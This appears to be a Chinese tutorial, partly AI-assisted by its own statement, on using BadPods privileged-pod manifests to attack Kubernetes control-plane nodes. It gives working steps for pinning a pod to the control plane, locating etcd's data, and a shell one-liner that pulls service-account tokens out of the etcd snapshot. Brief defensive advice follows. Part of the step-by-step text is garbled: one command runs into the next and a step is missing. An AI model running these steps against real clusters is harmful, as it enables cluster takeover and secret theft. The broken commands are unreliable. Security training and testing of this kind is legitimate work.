BadPods项目进阶:控制平面节点攻击与etcd数据库密钥窃取
BadPods项目进阶:控制平面节点攻击与etcd数据库密钥窃取
【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods
BadPods是一个专注于创建具有提升权限的Kubernetes Pod清单集合的项目,通过这些清单可以模拟和学习容器安全中的各种攻击场景。本文将深入探讨如何利用BadPods进行控制平面节点攻击,并实现etcd数据库密钥窃取的完整流程。
控制平面节点攻击的核心原理
Kubernetes集群的控制平面节点承载着关键组件如API Server、etcd数据库和调度器,一旦攻击者获得控制平面节点的访问权限,将直接威胁整个集群的安全。BadPods项目通过精心设计的清单文件,提供了多种突破容器隔离机制的方法。
图1:特权Pod的安全控制对比,展示了PRIVILEGED、HOSTPID等关键权限的开放状态
攻击路径分析
在Kubernetes环境中,控制平面节点攻击通常遵循以下路径:
- 通过特权Pod突破容器隔离
- 利用节点选择器将Pod调度至控制平面
- 访问主机文件系统获取etcd数据
- 提取敏感信息和密钥
BadPods项目在manifests/hostpath/目录下提供了专门针对主机路径挂载的攻击清单,例如hostpath-exec-pod.yaml文件,可直接挂载控制平面节点的关键目录。
特权Pod的权限配置策略
要成功实施控制平面攻击,需要理解不同特权配置的组合效果。BadPods项目将特权配置分为多个类别,每种配置针对特定的攻击场景优化。
关键权限组合分析
| 权限类型 | 控制平面攻击相关性 | 使用场景 |
|---|---|---|
| PRIVILEGED | ★★★★★ | 完全突破容器隔离,获取主机root权限 |
| HOSTPID | ★★★★☆ | 访问主机进程空间,识别etcd进程 |
| HOSTPATH | ★★★★★ | 挂载etcd数据目录,直接读取数据库文件 |
| HOSTNETWORK | ★★★☆☆ | 访问控制平面网络,与etcd服务通信 |
| HOSTIPC | ★★☆☆☆ | 共享主机IPC命名空间,获取进程间通信信息 |
图2:特权与主机PID组合的权限状态,其他关键权限处于关闭状态
在实际攻击中,推荐使用priv-and-hostpid组合(位于manifests/priv-and-hostpid/目录),这种配置既提供了特权访问,又能查看主机进程信息,是控制平面攻击的理想选择。
控制平面节点定位与Pod调度
成功攻击的关键第一步是将恶意Pod调度到控制平面节点。在自管理的Kubernetes集群中,这可以通过节点选择器实现,但在GKE或EKS等托管服务中通常不可行。
控制平面节点识别方法
使用节点标签查询:
kubectl get nodes --show-labels | grep -i control-plane通过污点和容忍度分析: 控制平面节点通常设置了NoSchedule污点,需要在Pod清单中添加相应的容忍配置。
BadPods项目的所有攻击清单都预留了节点选择器配置位置,以manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml为例,只需添加:
nodeName: k8s-control-planeetcd数据库密钥窃取实战
etcd作为Kubernetes的数据库,存储了集群的所有配置信息和密钥数据。通过BadPods提供的方法,可以直接访问etcd数据库文件并提取敏感信息。
攻击实施步骤
1. 确认etcd数据目录
在控制平面节点上执行以下命令,确定etcd数据存储位置:
ps -ef | grep etcd | sed s/--/\\n/g | grep>strings /var/lib/etcd/member/snap/db | less图3:HOSTPATH权限开启状态,允许直接访问主机文件系统中的etcd数据
3. 提取服务账户令牌
BadPods提供了专门的脚本命令用于提取密钥:
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done如需筛选特定命名空间的密钥,可添加grep过滤:
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default攻击检测与防御措施
针对etcd数据库攻击,建议采取以下防御措施:
- 限制Pod调度:使用PodSecurityPolicy或PodSecurityContext限制特权Pod创建
- 文件系统保护:对
/var/lib/etcd等敏感目录设置严格权限 - etcd加密:启用etcd数据加密功能,即使文件被访问也无法读取内容
- 监控告警:部署检测异常主机路径挂载和特权容器的监控规则
BadPods项目在manifests/nothing-allowed/目录下提供了最小权限配置的示例,可作为安全配置的参考模板。
BadPods项目实战应用
要开始使用BadPods进行安全测试,首先需要克隆项目仓库:
git clone https://gitcode.com/gh_mirrors/ba/badPods推荐学习路径
- 基础权限理解:从
manifests/priv/和manifests/hostpid/开始,理解单一权限的影响 - 组合权限测试:尝试
priv-and-hostpid目录下的清单,体验权限叠加效果 - 控制平面攻击:使用
hostpath和everything-allowed目录下的清单进行完整攻击流程演练 - 防御配置实践:对比
nothing-allowed目录下的安全配置,学习权限限制方法
图4:BadPods项目涵盖的五种核心权限类型,构成完整的权限测试体系
总结与安全建议
BadPods项目为Kubernetes安全学习提供了宝贵的实战资源,通过模拟真实攻击场景,帮助安全人员理解容器环境中的权限边界和安全风险。在实际应用中,建议:
- 仅在授权的测试环境中使用这些清单文件
- 定期审查集群中的Pod配置,检测特权容器
- 实施最小权限原则,避免过度宽松的安全策略
- 将BadPods与安全监控工具结合,构建主动防御体系
通过合理利用BadPods项目,安全团队可以显著提升对Kubernetes安全威胁的认知和防御能力,有效保护容器化环境中的关键资产。
【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考